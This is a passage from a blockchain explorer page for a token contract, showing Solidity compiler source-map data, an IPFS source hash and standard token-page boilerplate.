;4070:17;:15;:17::i;:::-;-1:-1:-1;;;;;4057:30:0;1080:10;-1:-1:-1;;;;;4057:30:0;;4050:37;;3986:109;:::o;5836:521::-;5894:7;5939:2;5894:7;;;;6023:295;6044:2;6040:1;:6;6023:295;;;6087:3;6091:5;:1;6095;6091:5;:::i;:::-;6087:10;;;;;;;;:::i;:::-;;;;;;;;-1:-1:-1;6120:3:0;6124:5;:1;6128;6124:5;:::i;:::-;:9;;6132:1;6124:9;:::i;:::-;6120:14;;;;;;;;:::i;:::-;;;;;;;;-1:-1:-1;6148:2:0;-1:-1:-1;;;;;6142:8:0;;;6138:66;;6152:8;6158:2;6152:8;;:::i;:::-;;;6138:66;;;6177:2;6171;-1:-1:-1;;;;;6171:8:0;;6167:37;;6181:8;6187:2;6181:8;;:::i;6167:37::-;6196:8;6202:2;6196:8;;:::i;:::-;;;6167:37;6216:2;6210;-1:-1:-1;;;;;6210:8:0;;6206:66;;6220:8;6226:2;6220:8;;:::i;:::-;;;6206:66;;;6245:2;6239;-1:-1:-1;;;;;6239:8:0;;6235:37;;6249:8;6255:2;6249:8;;:::i;6235:37::-;6264:8;6270:2;6264:8;;:::i;:::-;;;6235:37;6307:6;6312:1;6307:2;:6;:::i;:::-;6302:12;;:1;:12;:::i;:::-;6294:2;6284:7;:2;6289;6284:7;:::i;:::-;:12;;;;:::i;:::-;-1:-1:-1;;;;;6283:32:0;;;6274:41;;;;;6048:3;;6023:295;;;-1:-1:-1;6343:5:0;;5836:521;-1:-1:-1;;;;;5836:521:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1196:186::-;1255:6;1308:2;1296:9;1287:7;1283:23;1279:32;1276:52;;;1324:1;1321;1314:12;1276:52;1347:29;1366:9;1347:29;:::i;:::-;1337:39;1196:186;-1:-1:-1;;;1196:186:1:o;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;3297:127::-;3358:10;3353:3;3349:20;3346:1;3339:31;3389:4;3386:1;3379:15;3413:4;3410:1;3403:15;3429:125;3494:9;;;3515:10;;;3512:36;;;3528:18;;:::i;4725:128::-;4792:9;;;4813:11;;;4810:37;;;4827:18;;:::i;6436:168::-;6509:9;;;6540;;6557:15;;;6551:22;;6537:37;6527:71;;6578:18;;:::i;6609:127::-;6670:10;6665:3;6661:20;6658:1;6651:31;6701:4;6698:1;6691:15;6725:4;6722:1;6715:15;6741:185;-1:-1:-1;;;;;6862:10:1;;;6850;;;6846:27;;6885:12;;;6882:38;;;6900:18;;:::i;:::-;6882:38;6741:185;;;;:::o;6931:285::-;-1:-1:-1;;;;;7072:10:1;;;7042;;;7106:13;;;7102:22;;;7003:19;7146:11;;7167:17;;;7159:26;;7143:43;7133:77;;7190:18;;:::i;:::-;7133:77;;;6931:285;;;;:::o;7221:182::-;-1:-1:-1;;;;;7328:10:1;;;7340;;;7324:27;;7363:11;;;7360:37;;;7377:18;;:::i
Swarm Source
ipfs://cef4b59ae1432b279bd45df7e3ed7bdb5ca65061a5191459b526ed61f6594201
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)